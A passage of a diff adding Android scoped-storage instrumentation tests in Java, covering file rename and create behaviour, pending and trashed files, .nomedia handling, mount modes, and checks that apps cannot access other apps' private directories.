+ new File[] {otherAppImageFile2, otherAppVideoFile2});
+ assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
+ assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
+ } finally {
+ executeShellCommand("rm " + otherAppPdfFile1);
+ executeShellCommand("rm " + otherAppPdfFile2);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
+ otherAppImageFile1.delete();
+ otherAppImageFile2.delete();
+ otherAppVideoFile1.delete();
+ otherAppVideoFile2.delete();
+ otherAppPdfFile1.delete();
+ otherAppPdfFile2.delete();
+ deleteRecursively(dirInDcim);
+ deleteRecursively(dirInPictures);
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Test that row ID corresponding to deleted path is restored on subsequent create.
+ */
+ @Test
+ public void testCreateCanRestoreDeletedRowId() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final ContentResolver cr = getContentResolver();
+
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+ final long oldRowId = getFileRowIdFromDatabase(imageFile);
+ assertThat(oldRowId).isNotEqualTo(-1);
+ final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
+ assertThat(uriOfOldFile).isNotNull();
+
+ assertThat(imageFile.delete()).isTrue();
+ // We should restore old row Id corresponding to deleted imageFile.
+ assertThat(imageFile.createNewFile()).isTrue();
+ assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
+ try (ParcelFileDescriptor pfd = cr.openFileDescriptor(uriOfOldFile, "rw")) {
+ assertThat(pfd).isNotNull();
+ }
+
+
+ assertThat(imageFile.delete()).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, imageFile.getAbsolutePath())).isTrue();
+
+ final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
+ assertThat(uriOfNewFile).isNotNull();
+ // We shouldn't restore deleted row Id if delete & create are called from different apps
+ assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment()))
+ .isNotEqualTo(oldRowId);
+ } finally {
+ imageFile.delete();
+ deleteFileAsNoThrow(APP_B_NO_PERMS, imageFile.getAbsolutePath());
+ }
+ }
+
+ /**
+ * Test that row ID corresponding to deleted path is restored on subsequent rename.
+ */
+ @Test
+ public void testRenameCanRestoreDeletedRowId() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
+ final ContentResolver cr = getContentResolver();
+
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+ final Uri oldUri = MediaStore.scanFile(cr, imageFile);
+ assertThat(oldUri).isNotNull();
+
+ Files.copy(imageFile, temporaryFile);
+ assertThat(imageFile.delete()).isTrue();
+ assertCanRenameFile(temporaryFile, imageFile);
+
+ final Uri newUri = MediaStore.scanFile(cr, imageFile);
+ assertThat(newUri).isNotNull();
+ assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
+ // oldUri of imageFile is still accessible after delete and rename.
+ try (ParcelFileDescriptor pfd = cr.openFileDescriptor(oldUri, "rw")) {
+ assertThat(pfd).isNotNull();
+ }
+ } finally {
+ imageFile.delete();
+ temporaryFile.delete();
+ }
+ }
+
+ @Test
+ public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
+ File invalidFile = new File(getDownloadDir(), "<>");
+ File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ invalidFile.createNewFile();
+ });
+
+ assertThat(validFile.createNewFile()).isTrue();
+ // We can't rename a file to a file name with invalid FAT characters.
+ assertCantRenameFile(validFile, invalidFile);
+ } finally {
+ invalidFile.delete();
+ validFile.delete();
+ }
+ }
+
+ @Test
+ public void testRenameWithSpecialChars() throws Exception {
+ final String specialCharsSuffix = "'`~!@#$%^& ()_+-={}[];'.)";
+
+ final File fileSpecialChars =
+ new File(getDownloadDir(), NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+ final File dirSpecialChars =
+ new File(getDownloadDir(), TEST_DIRECTORY_NAME + specialCharsSuffix);
+ final File file1 = new File(dirSpecialChars, NONMEDIA_FILE_NAME);
+ final File fileSpecialChars1 =
+ new File(dirSpecialChars, NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+ final File renamedDir = new File(getDocumentsDir(), TEST_DIRECTORY_NAME);
+ final File file2 = new File(renamedDir, NONMEDIA_FILE_NAME);
+ final File fileSpecialChars2 =
+ new File(renamedDir, NONMEDIA_FILE_NAME + specialCharsSuffix);
+ try {
+ assertTrue(fileSpecialChars.createNewFile());
+ if (!dirSpecialChars.exists()) {
+ assertTrue(dirSpecialChars.mkdir());
+ }
+ assertTrue(file1.createNewFile());
+
+ // We can rename file name with special characters
+ assertCanRenameFile(fileSpecialChars, fileSpecialChars1);
+
+ // We can rename directory name with special characters
+ assertCanRenameDirectory(dirSpecialChars, renamedDir,
+ new File[] {file1, fileSpecialChars1}, new File[] {file2, fileSpecialChars2});
+ } finally {
+ file1.delete();
+ file2.delete();
+ fileSpecialChars.delete();
+ fileSpecialChars1.delete();
+ fileSpecialChars2.delete();
+ deleteRecursively(dirSpecialChars);
+ deleteRecursively(renamedDir);
+ }
+ }
+
+ /**
+ * Test that IS_PENDING is set for files created via filepath
+ */
+ @Test
+ public void testPendingFromFuse() throws Exception {
+ final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ try {
+ assertTrue(pendingFile.createNewFile());
+ // Newly created file should have IS_PENDING set
+ try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(1);
+ }
+
+ // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+ try (Cursor c = queryFileExcludingPending(pendingFile,
+ MediaStore.MediaColumns.IS_PENDING)) {
+ assertThat(c.getCount()).isEqualTo(1);
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(1);
+ }
+
+ assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
+
+ // IS_PENDING should be unset after the scan
+ try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(0);
+ }
+
+ assertCreateFilesAs(APP_A_HAS_RES, otherPendingFile);
+ // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+ try (Cursor c = queryFileExcludingPending(otherPendingFile,
+ MediaStore.MediaColumns.IS_PENDING)) {
+ assertThat(c.getCount()).isEqualTo(0);
+ }
+ } finally {
+ pendingFile.delete();
+ deleteFileAsNoThrow(APP_A_HAS_RES, otherPendingFile.getAbsolutePath());
+ }
+ }
+
+ /**
+ * Test that we don't allow renaming to top level directory
+ */
+ @Test
+ public void testCantRenameToTopLevelDirectory() throws Exception {
+ final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
+ final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
+ final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+ try {
+ createDirectoryAsLegacyApp(topLevelDir1);
+ assertTrue(topLevelDir1.exists());
+
+ // We can't rename a top level directory to a top level directory
+ assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
+
+ // However, we can rename a top level directory to non-top level directory.
+ assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
+
+ // We can't rename a non-top level directory to a top level directory.
+ assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
+ } finally {
+ deleteRecursivelyAsLegacyApp(topLevelDir1);
+ deleteRecursivelyAsLegacyApp(topLevelDir2);
+ deleteRecursively(nonTopLevelDir);
+ }
+ }
+
+ @Test
+ public void testCanCreateDefaultDirectory() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ try {
+ if (podcastsDir.exists()) {
+ deleteRecursivelyAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.mkdir()).isTrue();
+ } finally {
+ createDirectoryAsLegacyApp(podcastsDir);
+ }
+ }
+
+ /**
+ * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
+ */
+ @Test
+ public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
+ final File cameraDir = new File(getDcimDir(), "Camera");
+ final File nomediaFile = new File(cameraDir, ".nomedia");
+ Uri targetUri = null;
+
+ try {
+ // Recreate required file and directory
+ if (cameraDir.exists()) {
+ // This is a work around to address a known inode cache inconsistency issue
+ // that occurs when test runs for the second time.
+ deleteRecursivelyAsLegacyApp(cameraDir);
+ }
+
+ createDirectoryAsLegacyApp(cameraDir);
+ assertTrue(cameraDir.exists());
+
+ createFileAsLegacyApp(nomediaFile);
+ assertTrue(nomediaFile.exists());
+
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
+ targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+ assertNotNull(targetUri);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(targetUri, "w")) {
+ assertThat(pfd).isNotNull();
+ Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
+ }
+
+ assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
+ } finally {
+ deleteWithMediaProviderNoThrow(targetUri);
+ deleteAsLegacyApp(nomediaFile);
+ deleteRecursivelyAsLegacyApp(cameraDir);
+ }
+ }
+
+ /**
+ * b/182479650: Test that Screenshots directory is not hidden because of .nomedia presence
+ */
+ @Test
+ public void testNoMediaDoesntHideSpecialDirectories() throws Exception {
+ for (File directory : new File [] {
+ getDcimDir(),
+ getDownloadDir(),
+ new File(getDcimDir(), "Camera"),
+ new File(getPicturesDir(), Environment.DIRECTORY_SCREENSHOTS),
+ new File(getMoviesDir(), Environment.DIRECTORY_SCREENSHOTS),
+ new File(getExternalStorageDir(), Environment.DIRECTORY_SCREENSHOTS)
+ }) {
+ assertNoMediaDoesntHideSpecialDirectories(directory);
+ }
+ }
+
+ private void assertNoMediaDoesntHideSpecialDirectories(File directory) throws Exception {
+ final File nomediaFile = new File(directory, ".nomedia");
+ final File videoFile = new File(directory, VIDEO_FILE_NAME);
+ Log.d(TAG, "Directory " + directory);
+
+ try {
+ // Recreate required file and directory
+ if (!directory.exists()) {
+ Log.d(TAG, "mkdir directory " + directory);
+ createDirectoryAsLegacyApp(directory);
+ }
+ assertWithMessage("Exists " + directory).that(directory.exists()).isTrue();
+
+ Log.d(TAG, "CreateFileAs " + nomediaFile);
+ createFileAsLegacyApp(nomediaFile);
+ assertWithMessage("Exists " + nomediaFile).that(nomediaFile.exists()).isTrue();
+
+ createFileAsLegacyApp(videoFile);
+ assertWithMessage("Exists " + videoFile).that(videoFile.exists()).isTrue();
+ final Uri targetUri = MediaStore.scanFile(getContentResolver(), videoFile);
+ assertWithMessage("Scan result for " + videoFile).that(targetUri)
+ .isNotNull();
+
+ assertWithMessage("Uri path segment for " + targetUri)
+ .that(targetUri.getPathSegments()).contains("video");
+
+ // Verify that the imageFile is not hidden because of .nomedia presence
+ assertWithMessage("Query as other app ")
+ .that(canQueryOnUri(APP_A_HAS_RES, targetUri)).isTrue();
+ } finally {
+ deleteAsLegacyApp(videoFile);
+ deleteAsLegacyApp(nomediaFile);
+ deleteRecursivelyAsLegacyApp(directory);
+ }
+ }
+
+ /**
+ * Test that readdir lists unsupported file types in default directories.
+ */
+ @Test
+ public void testListUnsupportedFileType() throws Exception {
+ final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+ final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
+ try {
+ // TEST_APP_A with storage permission should not see pdf file in DCIM
+ createFileAsLegacyApp(pdfFile);
+ assertThat(pdfFile.exists()).isTrue();
+ assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
+
+ assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
+ .doesNotContain(NONMEDIA_FILE_NAME);
+
+ createFileAsLegacyApp(videoFile);
+ // We don't insert files to db for files created by shell.
+ assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
+ // TEST_APP_A with storage permission should see video file in Music directory.
+ assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
+ } finally {
+ deleteAsLegacyApp(pdfFile);
+ deleteAsLegacyApp(videoFile);
+ MediaStore.scanFile(getContentResolver(), pdfFile);
+ MediaStore.scanFile(getContentResolver(), videoFile);
+ }
+ }
+
+ /**
+ * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+ */
+ @Test
+ public void testCantAccessOtherAppsExternalDirs() throws Exception {
+ File[] obbDirs = getContext().getObbDirs();
+ File[] dataDirs = getContext().getExternalFilesDirs(null);
+ for (File obbDir : obbDirs) {
+ final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertCannotReadOrWrite(file);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+ }
+ }
+ for (File dataDir : dataDirs) {
+ final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertCannotReadOrWrite(file);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+ }
+ }
+ }
+
+ /**
+ * Test that apps can't set attributes on another app's files.
+ */
+ @Test
+ public void testCantSetAttrOtherAppsFile() throws Exception {
+ // This path's permission is checked in MediaProvider (directory/external media dir)
+ final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+ try {
+ // Create the files
+ if (!externalMediaPath.exists()) {
+ assertThat(externalMediaPath.createNewFile()).isTrue();
+ }
+
+ // APP A should not be able to setattr to other app's files.
+ assertWithMessage(
+ "setattr on directory/external media path [%s]", externalMediaPath.getPath())
+ .that(setAttrAs(APP_A_HAS_RES, externalMediaPath.getPath()))
+ .isFalse();
+ } finally {
+ externalMediaPath.delete();
+ }
+ }
+
+ /**
+ * b/171768780: Test that scan doesn't skip scanning renamed hidden file.
+ */
+ @Test
+ public void testScanUpdatesMetadataForRenamedHiddenFile() throws Exception {
+ final File hiddenFile = new File(getPicturesDir(), ".hidden_" + IMAGE_FILE_NAME);
+ final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ try {
+ // Copy the image content to hidden file
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata);
+ FileOutputStream out = new FileOutputStream(hiddenFile)) {
+ FileUtils.copy(in, out);
+ out.getFD().sync();
+ }
+ Uri scanUri = MediaStore.scanFile(getContentResolver(), hiddenFile);
+ assertNotNull(scanUri);
+
+ // Rename hidden file to non-hidden
+ assertCanRenameFile(hiddenFile, jpgFile);
+
+ try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+ assertTrue(c.moveToFirst());
+ // The file is not scanned yet, hence the metadata is not updated yet.
+ assertThat(c.getString(0)).isNull();
+ }
+
+ // Scan the file to update the metadata for renamed hidden file.
+ scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
+ assertNotNull(scanUri);
+
+ // Scan should be able to update metadata even if File.lastModifiedTime hasn't changed.
+ try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+ assertTrue(c.moveToFirst());
+ assertThat(c.getString(0)).isNotNull();
+ }
+ } finally {
+ hiddenFile.delete();
+ jpgFile.delete();
+ }
+ }
+
+ /**
+ * Tests that System Gallery apps cannot insert files in other app's private directories.
+ */
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Tests that System Gallery apps cannot update files in other app's private directories.
+ */
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testDeferredScanHidesPartialDatabaseRows() throws Exception {
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+ // Insert a pending row
+ final Uri targetUri = getContentResolver().insert(getImageContentUri(), values, null);
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata)) {
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(targetUri, "w")) {
+ // Write image content to the file
+ FileUtils.copy(in, new ParcelFileDescriptor.AutoCloseOutputStream(pfd));
+ }
+ }
+
+ // Verify that metadata is not updated yet.
+ try (Cursor c = getContentResolver().query(targetUri, new String[] {
+ MediaStore.Images.ImageColumns.DATE_TAKEN}, null, null)) {
+ assertThat(c.moveToFirst()).isTrue();
+ assertThat(c.getString(0)).isNull();
+ }
+ // Get file path to use in the next query().
+ final String imageFilePath = getFilePathFromUri(targetUri);
+
+ values.put(MediaStore.MediaColumns.IS_PENDING, 0);
+ Bundle extras = new Bundle();
+ extras.putBoolean(MediaStore.QUERY_ARG_DEFER_SCAN, true);
+ // Publish the file, but, defer the scan on update().
+ assertThat(getContentResolver().update(targetUri, values, extras)).isEqualTo(1);
+
+ // The update() above can return before scanning is complete. Verify that either we don't
+ // see the file in published files or if the file appears in the collection, it means that
+ // deferred scan is now complete, hence verify metadata is intact.
+ try (Cursor c = getContentResolver().query(getImageContentUri(),
+ new String[] {MediaStore.Images.ImageColumns.DATE_TAKEN},
+ MediaStore.Files.FileColumns.DATA + "=?", new String[] {imageFilePath}, null)) {
+ if (c.getCount() == 1) {
+ // If the file appears in media collection as published file, verify that metadata
+ // is correct.
+ assertThat(c.moveToFirst()).isTrue();
+ assertThat(c.getString(0)).isNotNull();
+ Log.i(TAG, "Verified that deferred scan on " + imageFilePath + " is complete"
+ + " and hence metadata is updated");
+
+ } else {
+ assertThat(c.getCount()).isEqualTo(0);
+ Log.i(TAG, "Verified that " + imageFilePath + " was excluded in default query");
+ }
+ }
+ }
+
+ /**
+ * Test that renaming a file to {@link Environment#DIRECTORY_RINGTONES} sets
+ * {@link MediaStore.Audio.AudioColumns#IS_RINGTONE}
+ */
+
+ @Test
+ public void testRenameToRingtoneDirectory() throws Exception {
+ final File fileInDownloads = new File(getDownloadDir(), AUDIO_FILE_NAME);
+ final File fileInRingtones = new File(getRingtonesDir(), AUDIO_FILE_NAME);
+
+ try {
+ assertThat(fileInDownloads.createNewFile()).isTrue();
+ assertThat(MediaStore.scanFile(getContentResolver(), fileInDownloads)).isNotNull();
+
+ assertCanRenameFile(fileInDownloads, fileInRingtones);
+
+ try (Cursor c = queryAudioFile(fileInRingtones,
+ MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
+ assertTrue(c.moveToFirst());
+ assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
+ + " to be set after renaming to " + fileInRingtones)
+ .that(c.getInt(0)).isEqualTo(1);
+ }
+
+ assertCanRenameFile(fileInRingtones, fileInDownloads);
+
+ try (Cursor c = queryAudioFile(fileInDownloads,
+ MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
+ assertTrue(c.moveToFirst());
+ assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
+ + " to be unset after renaming to " + fileInDownloads)
+ .that(c.getInt(0)).isEqualTo(0);
+ }
+ } finally {
+ fileInDownloads.delete();
+ fileInRingtones.delete();
+ }
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTransformsDirFileOperations() throws Exception {
+ final String path = Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_DIR;
+ final File file = new File(path);
+ assertThat(file.exists()).isTrue();
+ testTransformsDirCommon(file);
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTransformsSyntheticDirFileOperations() throws Exception {
+ final String path =
+ Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_SYNTHETIC_DIR;
+ final File file = new File(path);
+ assertThat(file.exists()).isTrue();
+ testTransformsDirCommon(file);
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTransformsTranscodeDirFileOperations() throws Exception {
+ final String path =
+ Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_TRANSCODE_DIR;
+ final File file = new File(path);
+ assertThat(file.exists()).isFalse();
+ testTransformsDirCommon(file);
+ }
+
+
+ /**
+ * Test mount modes for a platform signed app with ACCESS_MTP permission.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testMTPAppWithPlatformSignatureMountMode() throws Exception {
+ final String shellPackageName = "com.android.shell";
+ final int uid = getContext().getPackageManager().getPackageUid(shellPackageName, 0);
+ assertMountMode(shellPackageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
+ }
+
+ /**
+ * Test mount modes for ExternalStorageProvider and DownloadsProvider.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testExternalStorageProviderAndDownloadsProvider() throws Exception {
+ // External Storage Provider and Downloads Provider are not supported on Wear OS
+ if (FeatureUtil.isWatch()) {
+ return;
+ }
+ assertWritableMountModeForProvider(DocumentsContract.EXTERNAL_STORAGE_PROVIDER_AUTHORITY);
+ assertWritableMountModeForProvider(DocumentsContract.DOWNLOADS_PROVIDER_AUTHORITY);
+ }
+
+ /**
+ * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+ */
+ @Test
+ public void testCantProbeOtherAppsExternalDirs() throws Exception {
+ // Before fuse-bpf, apps could see other app's external storage
+ boolean expectToSee = !isFuseBpfEnabled()
+ && mVolumeName.equals(MediaStore.VOLUME_EXTERNAL);
+ String message = expectToSee
+ ? "Expected to see other app's private dirs"
+ : "Expected not to see other app's private dirs";
+
+ assertWithMessage(message)
+ .that(fileExistsAs(APP_B_NO_PERMS, new File(getExternalFilesDir().getParent())))
+ .isEqualTo(expectToSee);
+
+ assertWithMessage(message)
+ .that(fileExistsAs(APP_B_NO_PERMS, getExternalObbDir()))
+ .isEqualTo(expectToSee);
+ }
+
+ private boolean isFuseBpfEnabled() throws Exception {
+ return executeShellCommand("getprop ro.fuse.bpf.is_running").trim().equals("true");
+ }
+
+ private void assertWritableMountModeForProvider(String auth) {
+ final ProviderInfo provider = getContext().getPackageManager()
+ .resolveContentProvider(auth, 0);
+ int uid = provider.applicationInfo.uid;
+ final String packageName = provider.applicationInfo.packageName;
+
+ assertMountMode(packageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
+ }
+
+ private boolean canRenameFile(File file) {
+ return file.renameTo(new File(file.getAbsolutePath() + "test"));
+ }
+
+ private void testTransformsDirCommon(File file) throws Exception {
+ assertThat(file.delete()).isFalse();
+ assertThat(canRenameFile(file)).isFalse();
+
+ final File newFile = new File(file.getAbsolutePath(), "test");
+ assertThat(newFile.mkdir()).isFalse();
+ assertThrows(IOException.class, () -> newFile.createNewFile());
+ }
+
+ private void assertCanWriteAndRead(File file, byte[] data) throws Exception {
+ // Assert we can write to images/videos
+ try (FileOutputStream fos = new FileOutputStream(file)) {
+ fos.write(data);
+ }
+ assertFileContent(file, data);
+ }
+
+ /**
+ * Checks restrictions for opening pending and trashed files by different apps. Assumes that
+ * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
+ * method doesn't uninstall given {@code testApp} at the end.
+ */
+ private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
+ throws Exception {
+ final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+ // App can open its pending or trashed file for read or write
+ assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+
+ // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
+ // write
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+
+ assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
+
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ if (isImageOrVideo) {
+ // System Gallery can open any pending or trashed image/video file for read or write
+ assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+ } else {
+ // System Gallery can't open other app's pending or trashed non-media file for read
+ // or write
+ assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+ }
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Checks restrictions for listing pending and trashed files by different apps.
+ */
+ private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
+ throws Exception {
+ final String parentDirPath = file.getParent();
+ assertTrue(new File(parentDirPath).isDirectory());
+
+ final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
+ assertThat(listedFileNames).doesNotContain(file);
+
+ final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+ assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+
+ // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
+ pendingOrTrashedFile.getName());
+
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+ // File Manager can see any pending or trashed file.
+ assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
+
+
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ if (isImageOrVideo) {
+ // System Gallery can see any pending or trashed image/video file.
